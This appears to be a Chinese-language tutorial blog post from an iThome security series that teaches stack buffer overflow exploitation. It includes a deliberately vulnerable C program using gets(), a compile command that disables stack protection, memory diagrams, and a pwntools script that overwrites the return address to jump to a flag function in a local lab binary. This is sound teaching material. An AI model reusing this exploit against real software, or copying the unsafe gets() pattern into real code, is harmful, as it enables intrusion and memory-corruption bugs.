iT邦幫忙

2023 iThome 鐵人賽

DAY 15
0

(我今天想不到前言)


上一次我們成功利用 buffer overflow 改變變數的值,但是我們如果想要直接或是間接控制程式流程,我們還需要了解怎摩覆蓋 retrun address。

下面我們用例子來實際操作一遍:

#include<stdio.h>

void name(){
    char buf[4];
    printf("Input your name: ");
    gets(buf);
    printf("Hello, %s\n", buf);
    return;
}

void flag(){
    printf("flag{2023ironman}\n");
    return;
}

int main(){
    name();
    return 0;
}

我們使用

gcc -m32 -fno-stack-protector lab.c -o lab

為了實驗方便,我們先把保護機制關掉。

-fno-stack-protector:不開啟 stack 保護機制,即不開啟 canary,他是在 Stack 中的隨機數字,如果我們用 overflow 覆蓋掉此值,導致和原先 Canary 放置的數值不相等,程式就會中斷。

至於要怎麼繞過 Canary,之後有機會再寫。

接下來我們使用 IDA 打開(也可以用 gdb)
我們可以看到
https://ithelp.ithome.com.tw/upload/images/20230930/201630744wVPfOAgSm.png
我們留的 buf 的位置在 ebp-0ch,所以整個記憶體會變這樣:

            low address
======================================
-------------------
|       buf       |
-------------------  <== buf(ebp-0xc)
|                 |
|                 |
-------------------  <== ebp
|     old ebp     |
-------------------
|   return addr   |
-------------------
======================================
           high address

因此若我們輸入超過 4 bytes,例如輸入 aaaaaaaaaaaabbbb 就會變這樣:

            low address
======================================
-------------------
|      aaaa       |
-------------------  <== buf(ebp-0xc)
|      aaaa       |
|      aaaa       |
-------------------  <== ebp
|      bbbb       |
-------------------
|   return addr   |
-------------------
======================================
           high address

接下來我們只要找到想要的位址接在後面我們就能成功覆蓋 return address 讓他變成我們想要的位置了。

我們從 IDA 的旁邊看看有沒有有趣的函數,結果發現有一個叫 flag 的函數。
https://ithelp.ithome.com.tw/upload/images/20230930/20163074uGBD5RGWDm.png
點進去發現他位址在 0x080491D5
https://ithelp.ithome.com.tw/upload/images/20230930/20163074hLR5XwUXSL.png

補充:用 gdb 可以使用 info function 查看函數,以及使用 info address [func name] 查看位址。

意思就是我們只要想辦法變成下面這樣,就能成功執行 flag 了。

            low address
======================================
--------------------
|      aaaa        |
--------------------  <== buf(ebp-0xc)
|      aaaa        |
|      aaaa        |
--------------------  <== ebp
|      bbbb        |
--------------------
| \xd5\x91\x04\x08 |  (little endian)
-------------------
======================================
           high address

而要把 \xd5\x91\x04\x08 作為字元輸進去,我們可以使用 pwntool。

用 python3 寫的 script 如下:

from pwn import *

r = process('./pwn_32') // 連接本機執行檔

addr = 0x080491D5       // 要執行的目標地址

payload = 'a'.encode() * 0xc + 'bbbb'.encode() + p32(addr)

r.send(payload)
r.interactive()         // 交互模式

執行起來會變這樣
https://ithelp.ithome.com.tw/upload/images/20230930/20163074rBoDIgmvgC.png

以上就是使用 Stack-Based Buffer Overflow 覆蓋 return address 的作法。
而我們的 Basic 系列也終於從簡介 Pwn、記憶體配置、工具的用法、覆蓋變數值到今天覆蓋 return address 到一個段落了。


終於,可以進入正題了。

海雜燴

https://ithelp.ithome.com.tw/upload/images/20230930/20163074EqinhTMqru.jpg
source:匯圖網
就是海鮮雜燴啦~ 不能吃的人就不要看這篇和嗆我了


上一篇
Day14 大雜燴之放鬆一下 - 中秋節:月亮
下一篇
Day16 大雜燴之羊雜燴 - Pwn:ROP(1)
系列文
雜七雜八大雜燴,資安技術大亂鬥30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言